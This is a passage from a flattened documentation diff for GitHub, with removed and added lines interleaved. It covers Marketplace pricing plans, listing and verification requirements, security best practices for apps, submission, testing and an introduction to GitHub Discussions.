lists the price in US dollars. Customers purchase your app using a payment method attached to their {% data variables.product.product_name %} account, without having to leave GitHub.com. You don't have to write code to perform billing transactions, but you will have to handle [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows) for purchase events. {% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit. Prices are set, displayed, and processed in US dollars. Paid plans are restricted to verified listings. Customers purchase your app using a payment method attached to their {% data variables.product.product_name %} account, without having to leave {% data variables.product.prodname_dotcom_the_website %}. You don't have to write code to perform billing transactions, but you will have to handle events from the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If the app you're listing on {% data variables.product.prodname_marketplace %} has multiple plan options, you can set up corresponding pricing plans. For example, if your app has two plan options, an open source plan and a pro plan, you can set up a free pricing plan for your open source plan and a flat pricing plan for your pro plan. Each {% data variables.product.prodname_marketplace %} listing must have an annual and a monthly price for every plan that's listed. For more information on how to create a pricing plan, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." {% note %} {% data reusables.marketplace.free-plan-note %} **Note:** If you're listing an app on {% data variables.product.prodname_marketplace %}, you can't list your app with a free pricing plan if you offer a paid service outside of {% data variables.product.prodname_marketplace %}. ### Types of pricing plans {% endnote %} #### Free pricing plans ### Types of pricing plans {% data reusables.marketplace.free-apps-encouraged %} Free plans are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing. All apps need to handle events for new purchases and cancellations. Apps that only have free plans do not need to handle events for free trials, upgrades, and downgrades. For more information, see: "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to request verification for the app and go through financial onboarding. #### Paid pricing plans **Free pricing plans** are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing. Unverified free apps do not need to implement any billing flows. Free apps that are verified by Github need to implement billing flows for new purchases and cancellations, but do not need to implement billing flows for free trials, upgrades, and downgrades. If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to resubmit the app for review. There are two types of paid pricing plan: **Flat rate pricing plans** charge a set fee on a monthly and yearly basis. - Flat rate pricing plans charge a set fee on a monthly and yearly basis. **Per-unit pricing plans** charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person). - Per-unit pricing plans charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person). **Marketplace free trials** provide 14-day free trials of OAuth or GitHub Apps to customers. When you [set up a Marketplace pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/), you can select the option to provide a free trial for flat-rate or per-unit pricing plans. You may also want to offer free trials. These provide free, 14-day trials of OAuth or GitHub Apps to customers. When you set up a Marketplace pricing plan, you can select the option to provide a free trial for flat-rate or per-unit pricing plans. ### Free trials Customers can start a free trial for any available paid plan on a Marketplace listing, but will not be able to create more than one free trial for a Marketplace product. Customers can start a free trial for any paid plan on a Marketplace listing that includes free trials. However, customers cannot create more than one free trial per marketplace product. Free trials have a fixed length of 14 days. Customers are notified 4 days before the end of their trial period (on day 11 of the free trial) that their plan will be upgraded. At the end of a free trial, customers will be auto-enrolled into the plan they are trialing if they do not cancel. See "[New purchases and free trials](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)" for details on how to handle free trials in your app. For more information, see: "[Handling new purchases and free trials](/developers/github-marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)." {% note %} 61 content/developers/github-marketplace/requirements-for-listing-an-app.md @@ -1,6 +1,6 @@ --- title: Requirements for listing an app intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before our {% data variables.product.prodname_marketplace %} onboarding specialists will approve the listing.' intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before the listing can be published.' redirect_from: - /apps/adding-integrations/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace/ - /apps/marketplace/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace/ @@ -12,49 +12,62 @@ versions: free-pro-team: '*' --- <!--UI-LINK: Displayed as a link on the https://github.com/marketplace/new page.--> The requirements for listing an app on {% data variables.product.prodname_marketplace %} vary according to whether you want to offer a free or a paid app. Before you submit your app for review, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." You'll accept the terms within your [draft listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/) on {% data variables.product.product_name %}. Once you've submitted your app, one of the {% data variables.product.prodname_marketplace %} onboarding specialists will reach out to you with more information about the onboarding process, and review your app to ensure it meets these requirements: ### Requirements for all {% data variables.product.prodname_marketplace %} listings ### User experience All listings on {% data variables.product.prodname_marketplace %} should be for tools that provide value to the {% data variables.product.product_name %} community. When you submit your listing for publication, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." - {% data variables.product.prodname_github_app %}s should have a minimum of 100 installations. - {% data variables.product.prodname_oauth_app %}s should have a minimum of 200 users. #### User experience requirements for all apps All listings should meet the following requirements, regardless of whether they are for a free or paid app. - Listings must not actively persuade users away from {% data variables.product.product_name %}. - Listings must include valid contact information for the publisher. - Listings must have a relevant description of the application. - Listings must specify a pricing plan. - Apps must provide value to customers and integrate with the platform in some way beyond authentication. - Apps must be publicly available in {% data variables.product.prodname_marketplace %} and cannot be in beta or available by invite only. - Apps cannot actively persuade users away from {% data variables.product.product_name %}. - Marketing materials for the app must accurately represent the app's behavior. - Apps must include links to user-facing documentation that describe how to set up and use the app. - When a customer purchases an app and GitHub redirects them to the app's installation URL, the app must begin the OAuth flow immediately. For details, see "[Handling new purchases and free trials](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/#step-3-authorization)." - Apps must have webhook events set up to notify the publisher of any plan changes or cancellations using the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." - Customers must be able to install your app and select repositories on both a personal and organization account. They should be able to view and manage those accounts separately. For more information on providing a good customer experience, see "[Customer experience best practices for apps](/developers/github-marketplace/customer-experience-best-practices-for-apps)." ### Brand and listing #### Brand and listing requirements for all apps - Apps that use GitHub logos must follow the "[{% data variables.product.product_name %} Logos and Usage](https://github.com/logos)" guidelines. - Apps that use GitHub logos must follow the {% data variables.product.company_short %} guidelines. For more information, see "[{% data variables.product.company_short %} Logos and Usage](https://github.com/logos)." - Apps must have a logo, feature card, and screenshots images that meet the recommendations provided in "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." - Listings must include descriptions that are well written and free of grammatical errors. For guidance in writing your listing, see "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." ### Security To protect your customers, we recommend that you also follow security best practices. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)." ### Considerations for free apps Apps will go through a security review before being listed on {% data variables.product.prodname_marketplace %}. A successful review will meet the requirements and follow the security best practices listed in "[Security review process](/marketplace/getting-started/security-review-process/)." For information on the review process, contact [marketplace@github.com](mailto:marketplace@github.com). {% data reusables.marketplace.free-apps-encouraged %} ### Requirements for paid apps In addition to the requirements for all apps above, each app that you offer as a paid service on {% data variables.product.prodname_marketplace %} must also meet the following requirements: - {% data variables.product.prodname_github_app %}s should have a minimum of 100 installations. - {% data variables.product.prodname_oauth_app %}s should have a minimum of 200 users. - All paid apps must handle {% data variables.product.prodname_marketplace %} purchase events for new purchases, upgrades, downgrades, cancellations, and free trials. For more information, see "[Billing requirements for paid apps](#billing-requirements-for-paid-apps)" below. - Publishing organizations must have a verified domain and must enable two-factor authentication. For more information, see "[Requiring two-factor authentication in your organization](/github/setting-up-and-managing-organizations-and-teams/requiring-two-factor-authentication-in-your-organization.") ### Billing flows When you are ready to publish the app on {% data variables.product.prodname_marketplace %} you must request verification for the listing. Your app must integrate [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows) using the [{% data variables.product.prodname_marketplace %} webhook event](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/). {% note %} #### Free apps The verification process is open to organizations. {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." {% data reusables.marketplace.free-apps-encouraged %} If you are listing a free app, you'll need to meet these requirements: {% endnote %} - Customers must be able to see that they have a free plan in the billing, profile, or account settings section of the app. - When a customer cancels your app, you must follow the flow for [cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/). ### Billing requirements for paid apps #### Paid apps Your app does not need to handle payments but does need to use {% data variables.product.prodname_marketplace %} purchase events to manage new purchases, upgrades, downgrades, cancellations, and free trials. For information about how integrate these events into your app, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." To offer your app as a paid service, you'll need to meet these requirements to list your app on {% data variables.product.prodname_marketplace %}: Using GitHub's billing API allows customers to purchase an app without leaving GitHub and to pay for the service with the payment method already attached to their {% data variables.product.product_name %} account. - To sell your app in {% data variables.product.prodname_marketplace %}, it must use GitHub's billing system. Your app does not need to handle payments but does need to use "[{% data variables.product.prodname_marketplace %} purchase events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" to manage new purchases, upgrades, downgrades, cancellations, and free trials. See "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)" to learn about how to integrate these events into your app. Using GitHub's billing system allows customers to purchase an app without leaving GitHub and pay for the service with the payment method already attached to their {% data variables.product.product_name %} account. - Apps must support both monthly and annual billing for paid subscriptions purchases. - Listings may offer any combination of free and paid plans. Free plans are optional but encouraged. For more information, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." {% data reusables.marketplace.marketplace-billing-ui-requirements %} 60 content/developers/github-marketplace/security-best-practices-for-apps.md @@ -0,0 +1,60 @@ --- title: Security best practices for apps intro: 'Guidelines for preparing a secure app to share on {% data variables.product.prodname_marketplace %}.' redirect_from: - /apps/marketplace/getting-started/security-review-process/ - /marketplace/getting-started/security-review-process - /developers/github-marketplace/security-review-process-for-submitted-apps shortTitle: Security best practice versions: free-pro-team: '*' --- If you follow these best practices it will help you to provide a secure user experience. ### Authorization, authentication, and access control We recommend creating a GitHub App rather than an OAuth App. {% data reusables.marketplace.github_apps_preferred %}. See "[Differences between GitHub Apps and OAuth Apps](/apps/differences-between-apps/)" for more details. - Apps should use the principle of least privilege and should only request the OAuth scopes and GitHub App permissions that the app needs to perform its intended functionality. For more information, see [Principle of least privilege](https://en.wikipedia.org/wiki/Principle_of_least_privilege) in Wikipedia. - Apps should provide customers with a way to delete their account, without having to email or call a support person. - Apps should not share tokens between different implementations of the app. For example, a desktop app should have a separate token from a web-based app. Individual tokens allow each app to request the access needed for GitHub resources separately. - Design your app with different user roles, depending on the functionality needed by each type of user. For example, a standard user should not have access to admin functionality, and billing managers might not need push access to repository code. - Apps should not share service accounts such as email or database services to manage your SaaS service. - All services used in your app should have unique login and password credentials. - Admin privilege access to the production hosting infrastructure should only be given to engineers and employees with administrative duties. - Apps should not use personal access tokens to authenticate and should authenticate as an [OAuth App](/apps/about-apps/#about-oauth-apps) or a [GitHub App](/apps/about-apps/#about-github-apps): - OAuth Apps should authenticate using an [OAuth token](/apps/building-oauth-apps/authorizing-oauth-apps/). - GitHub Apps should authenticate using either a [JSON Web Token (JWT)](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app), [OAuth token](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/), or [installation access token](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation). ### Data protection - Apps should encrypt data transferred over the public internet using HTTPS, with a valid TLS certificate, or SSH for Git. - Apps should store client ID and client secret keys securely. We recommend storing them as [environmental variables](http://en.wikipedia.org/wiki/Environment_variable#Getting_and_setting_environment_variables). - Apps should delete all GitHub user data within 30 days of receiving a request from the user, or within 30 days of the end of the user's legal relationship with GitHub. - Apps should not require the user to provide their GitHub password. - Apps should encrypt tokens, client IDs, and client secrets. ### Logging and monitoring Apps should have logging and monitoring capabilities. App logs should be retained for at least 30 days and archived for at least one year. A security log should include: - Authentication and authorization events - Service configuration changes - Object reads and writes - All user and group permission changes - Elevation of role to admin - Consistent timestamping for each event - Source users, IP addresses, and/or hostnames for all logged actions ### Incident response workflow To provide a secure experience for users, you should have a clear incident response plan in place before listing your app. We recommend having a security and operations incident response team in your company rather than using a third-party vendor. You should have the capability to notify {% data variables.product.product_name %} within 24 hours of a confirmed incident. For an example of an incident response workflow, see the "Data Breach Response Policy" on the [SANS Institute website](https://www.sans.org/information-security-policy/). A short document with clear steps to take in the event of an incident is more valuable than a lengthy policy template. ### Vulnerability management and patching workflow You should conduct regular vulnerability scans of production infrastructure. You should triage the results of vulnerability scans and define a period of time in which you agree to remediate the vulnerability. If you are not ready to set up a full vulnerability management program, it's useful to start by creating a patching process. For guidance in creating a patch management policy, see this TechRepublic article "[Establish a patch management policy](https://www.techrepublic.com/blog/it-security/establish-a-patch-management-policy-87756/)." 94 ...ent/developers/github-marketplace/security-review-process-for-submitted-apps.md This file was deleted. 53 content/developers/github-marketplace/setting-pricing-plans-for-your-listing.md @@ -1,6 +1,6 @@ --- title: Setting pricing plans for your listing intro: 'When [listing your app on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/), you can choose to provide your app as a free service or sell your app. If you plan to sell your app, you can create different pricing plans for different feature tiers.' intro: 'When you list your app on {% data variables.product.prodname_marketplace %}, you can choose to provide your app as a free service or sell your app. If you plan to sell your app, you can create different pricing plans for different feature tiers.' redirect_from: - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan/ - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan/ @@ -17,57 +17,52 @@ versions: free-pro-team: '*' --- ### About setting pricing plans If you want to sell an app on {% data variables.product.prodname_marketplace %}, you need to request verification when you publish the listing for your app. During the verification process, an onboarding expert checks the organization's identity and security settings. The onboarding expert will also take the organization through financial onboarding. For more information, see: "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)." ### Creating pricing plans To learn about the types of pricing plans that {% data variables.product.prodname_marketplace %} offers, see "[{% data variables.product.prodname_marketplace %} Pricing Plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." You'll also find helpful billing guidelines in "[Selling your app](/marketplace/selling-your-app/)." Pricing plans can be in the draft or published state. If you haven't submitted your {% data variables.product.prodname_marketplace %} listing for approval, a published listing will function the same way as draft listings until your app is approved and listed on {% data variables.product.prodname_marketplace %}. Draft listings allow you to create and save new pricing plans without making them available on your {% data variables.product.prodname_marketplace %} listing page. Once you publish the pricing plan, it's available for customers to purchase immediately. You can publish up to 10 pricing plans. {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." To create a pricing plan for your {% data variables.product.prodname_marketplace %} listing, click **Plans and pricing** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). If you haven't created a {% data variables.product.prodname_marketplace %} listing yet, read "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)" to learn how. When you click **New draft plan**, you'll see a form that allows you to customize your pricing plan. You'll need to configure the following fields to create a pricing plan: {% data variables.product.prodname_marketplace %} offers several different types of pricing plan. For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)." #### Plan name ### About saving pricing plans Your pricing plan's name will appear on your {% data variables.product.prodname_marketplace %} app's landing page. You can customize the name of your pricing plan to align to the plan's resources, the size of the company that will use the plan, or anything you'd like. You can save pricing plans in a draft or published state. If you haven't submitted your {% data variables.product.prodname_marketplace %} listing for approval, a published plan will function in the same way as a draft plan until your listing is approved and shown on {% data variables.product.prodname_marketplace %}. Draft plans allow you to create and save new pricing plans without making them available on your {% data variables.product.prodname_marketplace %} listing page. Once you publish a pricing plan on a published listing, it's available for customers to purchase immediately. You can publish up to 10 pricing plans. #### Pricing models For guidelines on billing customers, see "[Billing customers](/developers/github-marketplace/billing-customers)." ##### Free plans {% data reusables.marketplace.free-apps-encouraged %} A free plan still requires you to handle [new purchase](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/) and [cancellation](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/) billing flows. See "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)" for more details. ##### Flat-rate plans ### Creating pricing plans Flat-rate pricing plans allow you to offer your service to customers for a flat-rate fee. {% data reusables.marketplace.marketplace-pricing-free-trials %} To create a pricing plan for your {% data variables.product.prodname_marketplace %} listing, click **Plans and pricing** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). For more information, see "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)." You must set a price for both monthly and yearly subscriptions in U.S. Dollars for flat-rate plans. When you click **New draft plan**, you'll see a form that allows you to customize your pricing plan. You'll need to configure the following fields to create a pricing plan: ##### Per-unit plans - **Plan name** - Your pricing plan's name will appear on your {% data variables.product.prodname_marketplace %} app's landing page. You can customize the name of your pricing plan to align with the plan's resources, the size of the company that will use the plan, or anything you'd like. Per-unit pricing allows you to offer your app in units. For example, a unit can be a person, seat, or user. You'll need to provide a name for the unit and set a price for both monthly and yearly subscriptions, in U.S. Dollars. - **Pricing models** - There are three types of pricing plan: free, flat-rate, and per-unit. All plans require you to process new purchase and cancellation events from the marketplace API. In addition, for paid plans: #### Available for - You must set a price for both monthly and yearly subscriptions in US dollars. - Your app must process plan change events. - You must request verification to publish a listing with a paid plan. - {% data reusables.marketplace.marketplace-pricing-free-trials %} {% data variables.product.prodname_marketplace %} pricing plans can apply to **Personal and organization accounts**, **Personal accounts only**, or **Organization accounts only**. For example, if your pricing plan is per-unit and provides multiple seats, you would select **Organization accounts only** because there is no way to assign seats to people in an organization from a personal account. For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %} apps](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." #### Short description - **Available for** - {% data variables.product.prodname_marketplace %} pricing plans can apply to **Personal and organization accounts**, **Personal accounts only**, or **Organization accounts only**. For example, if your pricing plan is per-unit and provides multiple seats, you would select **Organization accounts only** because there is no way to assign seats to people in an organization from a personal account. Write a brief summary of the details of the pricing plan. The description might include the type of customer the plan is intended for or the resources the plan includes. - **Short description** - Write a brief summary of the details of the pricing plan. The description might include the type of customer the plan is intended for or the resources the plan includes. #### Bullets - **Bullets** - You can write up to four bullets that include more details about your pricing plan. The bullets might include the use cases of your app or list more detailed information about the resources or features included in the plan. You can write up to four bullets that include more details about your pricing plan. The bullets might include the use cases of your app or list more detailed information about the resources or features included in the plan. {% data reusables.marketplace.free-plan-note %} ### Changing a {% data variables.product.prodname_marketplace %} listing's pricing plan If a pricing plan for your {% data variables.product.prodname_marketplace %} plan is no longer needed or if you need to adjust pricing details, you can remove it. If a pricing plan for your {% data variables.product.prodname_marketplace %} listing is no longer needed, or if you need to adjust pricing details, you can remove it.  Once you publish a pricing plan for an app already listed in the {% data variables.product.prodname_marketplace %}, you can't make changes to the plan. Instead, you'll need to remove the pricing plan. Customers who already purchased the removed pricing plan will continue to use it until they opt out and move onto a new pricing plan. For more on pricing plans, see "[{% data variables.product.prodname_marketplace %} pricing plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." Once you publish a pricing plan for an app that is already listed in {% data variables.product.prodname_marketplace %}, you can't make changes to the plan. Instead, you'll need to remove the pricing plan and create a new plan. Customers who already purchased the removed pricing plan will continue to use it until they opt out and move onto a new pricing plan. For more on pricing plans, see "[{% data variables.product.prodname_marketplace %} pricing plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." Once you remove a pricing plan, users won't be able to purchase your app using that plan. Existing users on the removed pricing plan will continue to stay on the plan until they cancel their plan subscription. 37 content/developers/github-marketplace/submitting-your-listing-for-publication.md @@ -0,0 +1,37 @@ --- title: Submitting your listing for publication intro: 'You can submit your listing for the {% data variables.product.prodname_dotcom %} community to use.' redirect_from: - /marketplace/listing-on-github-marketplace/submitting-your-listing-for-review - /developers/github-marketplace/submitting-your-listing-for-review versions: free-pro-team: '*' --- Once you've completed the listing for your app, you'll see two buttons that allow you to request publication of the listing with or without verification. The **Request** button for "Publish without verification" is disabled if you have published any paid pricing plans in the listing.  {% data reusables.marketplace.launch-with-free %} After you submit your listing for review, an onboarding expert will reach out to you with additional information. For an overview of the process for creating and submitting a listing, see "[About {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/about-github-marketplace#publishing-an-app-to-github-marketplace)." ### Prerequisites for publishing with verification Before you request verification of your listing, you'll need to integrate the {% data variables.product.prodname_marketplace %} billing flows and webhook into your app. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If you've met the requirements for listing and you've integrated with the {% data variables.product.prodname_marketplace %} API, go ahead and submit your listing. For more information, see "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Transferring an app to an organization before you submit](#transferring-an-app-to-an-organization-before-you-submit)" below. ### Transferring an app to an organization before you submit You cannot sell an app that's owned by a user account. You need to transfer the app to an organization that is already a verified creator, or that can request verification for a listing for the app. For details, see: 1. "[Creating an organization from scratch](/github/setting-up-and-managing-organizations-and-teams/creating-a-new-organization-from-scratch)" 1. "[Transferring ownership of a GitHub App](/developers/apps/transferring-ownership-of-a-github-app)" or "[Transferring ownership of an OAuth App](/developers/apps/transferring-ownership-of-an-oauth-app)" 22 content/developers/github-marketplace/submitting-your-listing-for-review.md This file was deleted. 4 content/developers/github-marketplace/testing-your-app.md @@ -1,6 +1,6 @@ --- title: Testing your app intro: 'GitHub recommends testing your app with APIs and webhooks before submitting your listing to {% data variables.product.prodname_marketplace %} so you can provide an ideal experience for customers. Before the {% data variables.product.prodname_marketplace %} onboarding team approves your app, it must adequately handle the [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows).' intro: 'GitHub recommends testing your app with APIs and webhooks before submitting your listing to {% data variables.product.prodname_marketplace %} so you can provide an ideal experience for customers. Before an onboarding expert approves your app, it must adequately handle the billing flows.' redirect_from: - /apps/marketplace/testing-apps-apis-and-webhooks/ - /apps/marketplace/integrating-with-the-github-marketplace-api/testing-github-marketplace-apps/ @@ -13,7 +13,7 @@ versions: ### Testing apps You can use a [draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/) to simulate each of the [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows). A listing in the draft state means that it has not been submitted for approval. Any purchases you make using a draft {% data variables.product.prodname_marketplace %} listing will _not_ create real transactions, and GitHub will not charge your credit card. You can use a draft {% data variables.product.prodname_marketplace %} listing to simulate each of the billing flows. A listing in the draft state means that it has not been submitted for approval. Any purchases you make using a draft {% data variables.product.prodname_marketplace %} listing will _not_ create real transactions, and GitHub will not charge your credit card. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." #### Using a development app with a draft listing to test changes 2 .../developers/github-marketplace/webhook-events-for-the-github-marketplace-api.md @@ -1,6 +1,6 @@ --- title: Webhook events for the GitHub Marketplace API intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan. For details on how to respond to each of these types of events, see "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)."' intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan.' redirect_from: - /apps/marketplace/setting-up-github-marketplace-webhooks/about-webhook-payloads-for-a-github-marketplace-listing/ - /apps/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/ 4 content/developers/webhooks-and-events/webhook-events-and-payloads.md @@ -445,7 +445,7 @@ Key | Type | Description #### Webhook payload object {% data reusables.webhooks.installation_properties %} {% data reusables.webhooks.app_desc %} {% data reusables.webhooks.app_always_desc %} {% data reusables.webhooks.sender_desc %} #### Webhook payload example @@ -469,7 +469,7 @@ Key | Type | Description #### Webhook payload object {% data reusables.webhooks.installation_repositories_properties %} {% data reusables.webhooks.app_desc %} {% data reusables.webhooks.app_always_desc %} {% data reusables.webhooks.sender_desc %} #### Webhook payload example 54 ...ssions/collaborating-with-your-community-using-discussions/about-discussions.md @@ -0,0 +1,54 @@ --- title: About discussions intro: Use discussions to ask and answer questions, share information, make announcements, and conduct or participate in a conversation about a project on {% data variables.product.product_name %}. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About discussions With {% data variables.product.prodname_discussions %}, the community for your project can create and participate in conversations within the project's repository. Discussions empower a project's maintainers, contributors, and visitors to gather and accomplish the following goals in a central location, without third-party tools. - Share announcements and information, gather feedback, plan, and make decisions - Ask questions, discuss and answer the questions, and mark the discussions as answered - Foster an inviting atmosphere for visitors and contributors to discuss goals, development, administration, and workflows  You don't need to close a discussion like you close an issue or a pull request. If a repository administrator or project maintainer enables discussions for a repository, anyone who visits the repository can create and participate in discussions for the repository. Repository administrators and project maintainers can manage discussions and discussion categories in a repository, and pin discussions to increase the visibility of the discussion. Moderators and collaborators can mark comments as answers, lock discussions, and convert issues to discussions. For more information, see "[Repository permission levels for an organization](/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization)." For more information about management of discussions for your repository, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." ### About categories and formats for discussions {% data reusables.discussions.you-can-categorize-discussions %} {% data reusables.discussions.about-categories-and-formats %} {% data reusables.discussions.repository-category-limit %} For discussions with a question/answer format, an individual comment within the discussion can be marked as the discussion's answer. {% data reusables.discussions.github-recognizes-members %} For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)." ### Best practices for discussions As a community member or maintainer, start a discussion to ask a question or discuss information that affects the community. For more information, see "[Collaborating with maintainers using discussions](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions)." Participate in a discussion to ask and answer questions, provide feedback, and engage with the project's community. For more information, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)." You can spotlight discussions that contain important, useful, or exemplary conversations among members in the community. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)." {% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions in your repository](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)." ### Sharing feedback You can share your feedback about {% data variables.product.prodname_discussions %} with {% data variables.product.company_short %}. To join the conversation, see [`github/feedback`](https://github.com/github/feedback/discussions?discussions_q=category%3A%22Discussions+Feedback%22). ### Further reading - "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" - "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)" - "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications)" - "[Moderating comments and conversations](/github/building-a-strong-community/moderating-comments-and-conversations)" - "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)" 50 ...community-using-discussions/collaborating-with-maintainers-using-discussions.md @@ -0,0 +1,50 @@ --- title: Collaborating with maintainers using discussions shortTitle: Collaborating with maintainers intro: You can contribute to the goals, plans, health, and community for a project on {% data variables.product.product_name %} by communicating with the maintainers of the project in a discussion. permissions: People with read permissions to a repository can start and participate in discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About collaboration with maintainers using discussions {% data reusables.discussions.about-discussions %} If you use or contribute to a project, you can start a discussion to make suggestions and engage with maintainers and community members about your plans, questions, ideas, and feedback. For more information, see "[‎About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." {% data reusables.discussions.about-categories-and-formats %} Repository administrators and project maintainers can delete a discussion. For more information, see "[Managing discussions in your 